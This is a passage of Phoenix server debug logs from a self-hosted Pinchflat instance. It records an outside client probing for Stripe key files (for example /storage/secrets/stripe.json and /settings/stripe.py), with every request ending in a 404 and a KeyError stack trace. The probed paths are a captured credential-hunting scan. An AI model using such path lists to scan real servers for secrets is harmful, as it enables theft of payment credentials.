:"HTTP/1.1", path: "/storage/stripe.keys", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50056}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3400.0>, params: %{}, path_info: ["storage", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:44.478 [info] GET /storage/app/stripe.json 21:08:44.478 [debug] QUERY OK source="settings" db=0.2ms idle=89.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.479 [debug] QUERY OK source="settings" db=0.1ms idle=55.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.479 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.479 [error] #PID<0.3402.0> running PinchflatWeb.Endpoint (connection #PID<0.3401.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /storage/app/stripe.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/app/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3401.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/app/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50064}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3402.0>, params: %{}, path_info: ["storage", "app", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/storage/app/stripe.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-wyWQWDopNkAAQiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3401.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/app/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50064}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/app/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3401.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/app/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50064}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3402.0>, params: %{}, path_info: ["storage", "app", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Geck (truncated) 21:08:44.764 [info] GET /storage/secrets/stripe.json 21:08:44.764 [info] GET /settings/stripe.py 21:08:44.764 [info] GET /storage/keys/stripe.json 21:08:44.764 [debug] QUERY OK source="settings" db=0.4ms idle=335.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.764 [debug] QUERY OK source="settings" db=0.4ms idle=340.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.765 [debug] QUERY OK source="settings" db=0.3ms idle=335.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.765 [debug] QUERY OK source="settings" db=0.5ms idle=286.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.765 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.765 [debug] QUERY OK source="settings" db=0.4ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.765 [debug] QUERY OK source="settings" db=0.6ms idle=285.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:44.765 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.765 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:44.765 [error] #PID<0.3406.0> running PinchflatWeb.Endpoint (connection #PID<0.3404.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /settings/stripe.py ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /settings/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3404.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/settings/stripe.py", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50072}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3406.0>, params: %{}, path_info: ["settings", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/settings/stripe.py", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-x2dVS3vnS4AAQkB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3404.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/settings/stripe.py", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50072}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /settings/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3404.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/settings/stripe.py", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50072}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3406.0>, params: %{}, path_info: ["settings", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:44.766 [error] #PID<0.3408.0> running PinchflatWeb.Endpoint (connection #PID<0.3407.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /storage/keys/stripe.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/keys/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3407.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/keys/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50074}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3408.0>, params: %{}, path_info: ["storage", "keys", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/storage/keys/stripe.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-x2lc320548AAQmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3407.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/keys/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50074}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/keys/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3407.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/keys/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50074}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3408.0>, params: %{}, path_info: ["storage", "keys", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, (truncated) 21:08:44.766 [error] #PID<0.3405.0> running PinchflatWeb.Endpoint (connection #PID<0.3403.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /storage/secrets/stripe.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /storage/secrets/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3403.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/storage/secrets/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50070}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3405.0>, params: %{}, path_info: ["storage", "secrets", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/storage/secrets/stripe.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-x2dS2lOxD4AAHWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: 